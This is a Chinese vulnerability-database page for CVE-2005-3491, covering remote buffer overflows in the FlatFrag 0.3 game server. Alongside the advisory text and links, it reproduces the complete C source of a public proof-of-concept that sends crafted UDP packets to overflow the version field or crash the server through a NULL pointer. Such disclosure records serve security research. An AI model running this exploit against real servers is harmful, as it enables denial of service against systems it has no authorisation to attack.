CVE-2005-3491
CVSS7.5
发布时间 :2005-11-03 19:02:00
修订时间 :2016-10-17 23:35:51
NMCOE    

[原文]Multiple buffer overflows in the receiver function in loop.c in FlatFrag 0.3 and earlier allow remote attackers to execute arbitrary code via the (1) version, (2) name, and (3) model fields.


[CNNVD]Johannes F. Kuhlmann FlatFrag多个远程缓冲区溢出漏洞(CNNVD-200511-108)

        Johannes F. Kuhlmann FlatFrag是一款开源的多人玩的坦克游戏。
        FlatFrag 0.3及更早版本的loop.c中,接收方函数内的多个缓冲区溢出,可让远程攻击者通过(1)版本,(2)名称和(3)模型字段来执行任意代码。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3491
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-3491
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200511-108
(官方数据源) CNNVD

- 其它链接及资源

http://aluigi.altervista.org/adv/flatfragz-adv.txt
(UNKNOWN)  MISC  http://aluigi.altervista.org/adv/flatfragz-adv.txt
http://marc.info/?l=full-disclosure&m=113096078606274&w=2
(UNKNOWN)  FULLDISC  20051102 Buffer-overflow and crash in FlatFrag 0.3
http://www.securityfocus.com/archive/1/archive/1/415636/30/0/threaded
(UNKNOWN)  BUGTRAQ  20051102 Buffer-overflow and crash in FlatFrag 0.3
http://www.securityfocus.com/bid/15287
(UNKNOWN)  BID  15287

- 漏洞信息

Johannes F. Kuhlmann FlatFrag多个远程缓冲区溢出漏洞
高危 缓冲区溢出
2005-11-03 00:00:00 2005-11-15 00:00:00
远程  
        Johannes F. Kuhlmann FlatFrag是一款开源的多人玩的坦克游戏。
        FlatFrag 0.3及更早版本的loop.c中,接收方函数内的多个缓冲区溢出,可让远程攻击者通过(1)版本,(2)名称和(3)模型字段来执行任意代码。

- 公告与补丁

        暂无数据

- 漏洞信息 (1283)

FlatFrag <= 0.3 Buffer Overflow / Denial of Service Exploit (EDBID:1283)
windows dos
2005-11-02 Verified
0 Luigi Auriemma
N/A [点击下载]
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#ifdef WIN32
    #include <winsock.h>
/*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "\nError: %s\n", error);
    exit(1);
}

    #define close   closesocket
    #define ONESEC  1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC  1
#endif



#define VER         "0.1"
#define BUFFSZ      2048
#define PORT        29000
#define TIMEOUT     3
#define GAMEVER     "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaAAA"



int ff_addstr(u_char *in, u_char *out);
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz);
int timeout(int sock);
u_int resolv(char *host);
void std_err(void);



struct  sockaddr_in peer;



int main(int argc, char *argv[]) {
    int     sd,
            len,
            attack;
    u_short port = PORT;
    u_char  buff[BUFFSZ],
            *p;

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif


    setbuf(stdout, NULL);

    fputs("\n"
        "FlatFrag <= 0.3 multiple vulnerabilities "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 3) {
        printf("\n"
            "Usage: %s <attack> <host> [port(%hu)]\n"
            "\n"
            "Attack:\n"
            "1 = buffer-overflow\n"
            "2 = crash through access to NULL pointer\n"
            "\n", argv[0], port);
        exit(1);
    }

    attack = atoi(argv[1]);
    if(argc > 3) port = atoi(argv[3]);

    peer.sin_addr.s_addr = resolv(argv[2]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr), port);

    fputs("- start attack:\n", stdout);
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    if(attack == 1) {
        buff[0] = 3;
        buff[1] = 0;
        len = send_recv(sd, buff, 2, buff, BUFFSZ);
        if(*buff != 5) {
            fputs("\nError: wrong reply from the server\n\n", stdout);
            exit(1);
        }

        buff[0] = 1;
        buff[1] = 0;
        buff[2] = 1;
        p = buff + 3;
        p += ff_addstr(GAMEVER, p);
        len = send_recv(sd, buff, p - buff, buff, BUFFSZ);

    } else if(attack == 2) {
        buff[0] = 5;
        buff[1] = 0;
        send_recv(sd, buff, 2, NULL, 0);
    }

    close(sd);
    sleep(ONESEC);

    fputs("- check server:\n", stdout);
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    buff[0] = 3;
    buff[1] = 0;
    sendto(sd, buff, 2, 0, (struct sockaddr *)&peer, sizeof(peer));
    if(timeout(sd) < 0) {
        fputs("\nServer IS vulnerable!!!\n\n", stdout);
    } else {
        fputs("\nServer doesn't seem vulnerable\n\n", stdout);
    }

    close(sd);
    return(0);
}



int ff_addstr(u_char *in, u_char *out) {
    int     len;

    len = strlen(in);
    *out++ = len;
    memcpy(out, in, len);
    return(len + 1);
}



int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz) {
    int     len;

    if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();
    if(!out) return(0);
    if(timeout(sd) < 0) {
        fputs("\nError: socket timeout, no reply received\n\n", stdout);
        exit(1);
    }
    len = recvfrom(sd, out, outsz, 0, NULL, NULL);
    if(len < 0) std_err();
    return(len);
}



int timeout(int sock) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}



u_int resolv(char *host) {
    struct  hostent *hp;
    u_int   host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_int *)hp->h_addr;
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

// milw0rm.com [2005-11-02]
		

- 漏洞信息

20769
FlatFrag loop.c receiver() Function Multiple Remote Overflows
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

Multiple remote overflows exist in FlatFrag. The 'receiver()' function in 'loop.c' fails to perform proper bounds checking resulting in multiple buffer overflows. With a specially crafted request, a remote attacker can cause arbitrary code execution resulting in a loss of integrity.

- 时间线

2005-11-02 Unknow
2005-11-02 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

 

 

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